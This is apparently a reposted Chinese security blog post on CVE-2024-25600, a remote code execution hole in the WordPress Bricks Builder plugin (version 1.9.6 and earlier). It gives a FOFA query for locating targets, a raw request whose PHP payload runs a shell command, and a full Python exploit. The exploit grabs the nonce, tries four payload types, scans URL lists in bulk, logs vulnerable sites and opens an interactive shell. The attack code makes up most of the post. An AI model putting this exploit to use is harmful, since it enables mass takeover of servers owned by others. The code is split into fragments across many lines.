漏洞描述
Bricks Builder是一款面向WordPress网站建设的可视化编辑器,使用简单、功能强大。它提供了多种布局和预设模板,可以帮助用户快速创建专业、美观的网站。Bricks Builder 小于等于1.9.6的版本存在远程代码执行漏洞,攻击者可以通过该漏洞远程执行任意代码,控制服务器。
影响版本
Bricks Builder是一款面向WordPress网站建设的可视化编辑器,使用简单、功能强大。它提供了多种布局和预设模板,可以帮助用户快速创建专业、美观的网站。Bricks Builder 小于等于1.9.6的版本存在远程代码执行漏洞,攻击者可以通过该漏洞远程执行任意代码,控制服务器。
影响版本
Bricks
Builder <=
1
.
9
.
6
FOFA语句
body=
"/wp-content/themes/bricks/"
漏洞复现
1、获取网站nonce值(网站nonce值是一个用于WordPress站点安全性的一次性令牌。"Nonce"代表"Number used Once",即一次性数字。在WordPress中,nonce值通常用于确保表单提交的安全性,以防止跨站请求伪造(CSRF)攻击。每个nonce值只能在特定的操作和时间段内使用,一旦使用过后就会失效。)
2、请求报文:
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host:
Content-Type: application/json
{
"postId": "1",
"nonce": "a2e7b6cb5e",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
"objectType": "post"
}
}
}
}
POC
import
re
import
warnings
import
argparse
import
requests
from
rich.console
import
Console
from
alive_progress
import
alive_bar
from
prompt_toolkit
import
PromptSession, HTML
from
prompt_toolkit.history
import
InMemoryHistory
from
bs4
import
BeautifulSoup, MarkupResemblesLocatorWarning
from
concurrent.futures
import
ThreadPoolExecutor, as_completed
warnings.filterwarnings(
"ignore"
, category=MarkupResemblesLocatorWarning, module=
"bs4"
)
warnings.filterwarnings(
"ignore"
, category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)
class
Code
:
def
__init__
(self, url, payload_type, only_rce=False, verbose=True, pretty=False)
:
self.url = url
self.pretty = pretty
self.verbose = verbose
self.console = Console()
self.only_rce = only_rce
self.nonce = self.fetch_nonce()
self.payload_type = payload_type
def
fetch_nonce
(self)
:
try
:
response = requests.get(self.url, verify=
False
, timeout=
20
)
response.raise_for_status()
soup = BeautifulSoup(response.text,
"html.parser"
)
script_tag = soup.find(
"script"
, id=
"bricks-scripts-js-extra"
)
if
script_tag:
match = re.search(
r'"nonce":"([a-f0-9]+)"'
, script_tag.string)
if
match:
return
match.group(
1
)
except
Exception:
pass
def
send_request
(self, postId=
"1"
, command=
"whoami"
)
:
headers = {
"Content-Type"
:
"application/json"
}
payload_command =
f'throw new Exception(`
{command}
` . "END");'
base_element = {
"postId"
: postId,
"nonce"
: self.nonce,
}
query_settings = {
"useQueryEditor"
:
True
,
"queryEditor"
: payload_command,
}
payload_templates = {
"carousel"
: {
**base_element,
"element"
: {
"name"
:
"carousel"
,
"settings"
: {
"type"
:
"posts"
,
"query"
: query_settings},
},
},
"container"
: {
**base_element,
"element"
: {
"name"
:
"container"
,
"settings"
: {
"hasLoop"
:
"true"
,
"query"
: query_settings},
},
},
"generic"
: {
**base_element,
"element"
:
"1"
,
"loopElement"
: {
"settings"
: {
"query"
: query_settings},
},
},
"code"
: {
**base_element,
"element"
: {
"name"
:
"code"
,
"settings"
: {
"executeCode"
:
"true"
,
"code"
:
f"<?php
{payload_command}
?>"
,
},
},
},
}
json_data = payload_templates.get(self.payload_type)
if
self.pretty:
endpoint =
f"
{self.url}
/wp-json/bricks/v1/render_element"
else
:
endpoint =
f"
{self.url}
/?rest_route=/bricks/v1/render_element"
req = requests.post(
endpoint,
headers=headers,
json=json_data,
verify=
False
,
timeout=
20
,
)
return
req
def
process_response
(self, response)
:
if
response
and
response.status_code ==
200
:
try
:
json_response = response.json()
html_content = json_response.get(
"data"
, {}).get(
"html"
,
None
)
except
ValueError:
html_content = response.text
if
html_content:
match = re.search(
r"Exception: (.*?)END"
, html_content, re.DOTALL)
if
match:
extracted_text = match.group(
1
).strip()
if
extracted_text ==
""
:
return
True
, html_content,
False
else
:
return
True
, extracted_text,
True
else
:
return
True
, html_content,
False
return
False
,
None
,
False
def
interactive_shell
(self)
:
session = PromptSession(history=InMemoryHistory())
self.custom_print(
"Shell is ready, please type your commands UwU"
,
"!"
)
while
True
:
try
:
cmd = session.prompt(HTML(
"<ansired><b># </b></ansired>"
))
match cmd.lower():
case
"exit"
:
break
case
"clear"
:
self.console.clear()
case _:
response = self.send_request(command=cmd)
(
is_vuln,
response_content,
regex_success,
) = self.process_response(response)
if
is_vuln
and
regex_success:
print(response_content,
"n"
)
else
:
self.custom_print(
"No valid response received or target not vulnerable."
,
"-"
,
)
except
KeyboardInterrupt:
break
def
check_vulnerability
(self)
:
try
:
response = self.send_request()
is_vuln, content, regex_success = self.process_response(response)
if
is_vuln:
if
regex_success:
self.custom_print(
f"
{self.url}
is vulnerable to CVE-2024-25600. Command output:
{content}
"
,
"+"
,
)
else
:
self.custom_print(
f"
{self.url}
is vulnerable to CVE-2024-25600 with successful auth bypass, but RCE was not achieved."
,
"!"
,
)
if
not
self.only_rce
else
None
return
True
, content, regex_success
else
:
self.custom_print(
f"
{self.url}
is not vulnerable to CVE-2024-25600."
,
"-"
)
if
self.verbose
else
None
return
False
,
None
,
False
except
Exception
as
e:
self.custom_print(
f"Error checking vulnerability:
{e}
"
,
"-"
)
if
self.verbose
else
None
return
False
,
None
,
False
def
custom_print
(self, message: str, header: str)
->
None
:
header_colors = {
"+"
:
"green"
,
"-"
:
"red"
,
"!"
:
"yellow"
,
"*"
:
"blue"
}
self.console.print(
f"[bold
{header_colors.get(header,
'white'
)}
][
{header}
][/bold
{header_colors.get(header,
'white'
)}
]
{message}
"
)
def
scan_url
(url, payload_type, output_file=None, only_rce=False, pretty=False)
:
code_instance = Code(
url, payload_type=payload_type, only_rce=only_rce, verbose=
False
, pretty=pretty
)
if
code_instance.nonce:
is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
if
is_vuln
and
(
not
only_rce
or
is_rce_success):
if
output_file:
with
open(output_file,
"a"
)
as
file:
file.write(
f"
{url}
n"
)
return
True
return
False
def
main
()
:
parser = argparse.ArgumentParser(
description=
"Check for CVE-2024-25600 vulnerability"
)
parser.add_argument(
"--url"
,
"-u"
, help=
"URL to fetch nonce from and check vulnerability"
)
parser.add_argument(
"--list"
,
"-l"
,
help=
"Path to a file containing a list of URLs to check for vulnerability"
,
default=
None
,
)
parser.add_argument(
"--output"
,
"-o"
,
help=
"File to write vulnerable URLs to"
,
default=
None
,
)
parser.add_argument(
"--payload-type"
,
"-p"
,
choices=[
"carousel"
,
"container"
,
"generic"
,
"code"
],
default=
"code"
,
help=
"Type of payload to send (generic, code, carousel or container)"
,
)
parser.add_argument(
"--only-rce"
,
action=
"store_true"
,
help=
"Only display and record URLs where RCE is confirmed"
,
)
parser.add_argument(
"--pretty"
,
action=
"store_true"
,
help=
"Use pretty URLs (e.g., /wp-json/...) for requests"
,
)
args = parser.parse_args()
if
args.list:
urls = []
with
open(args.list,
"r"
)
as
file:
urls = [line.strip()
for
line
in
file.readlines()]
with
alive_bar(len(urls), enrich_print=
False
)
as
bar:
with
ThreadPoolExecutor(max_workers=
100
)
as
executor:
future_to_url = {
executor.submit(
scan_url,
url,
args.payload_type,
args.output,
args.only_rce,
args.pretty,
): url
for
url
in
urls
}
for
future
in
as_completed(future_to_url):
future_to_url[future]
try
:
future.result()
except
Exception:
pass
finally
:
bar()
elif
args.url:
code_instance = Code(args.url, args.payload_type, pretty=args.pretty)
if
code_instance.nonce:
code_instance.custom_print(
f"Nonce found:
{code_instance.nonce}
"
,
"*"
)
is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
if
is_vuln
and
is_rce_success:
code_instance.interactive_shell()
elif
is_vuln
and
not
args.only_rce:
code_instance.custom_print(
f"Debug:n
{html_content}
"
,
"!"
)
else
:
code_instance.custom_print(
f"No vulnerability found."
,
"-"
)
else
:
code_instance.custom_print(
"Nonce not found."
,
"-"
)
else
:
parser.print_help()
if
__name__ ==
"__main__"
:
main()
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
原文始发于微信公众号(巢安实验室):WordPress Bricks Builder RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论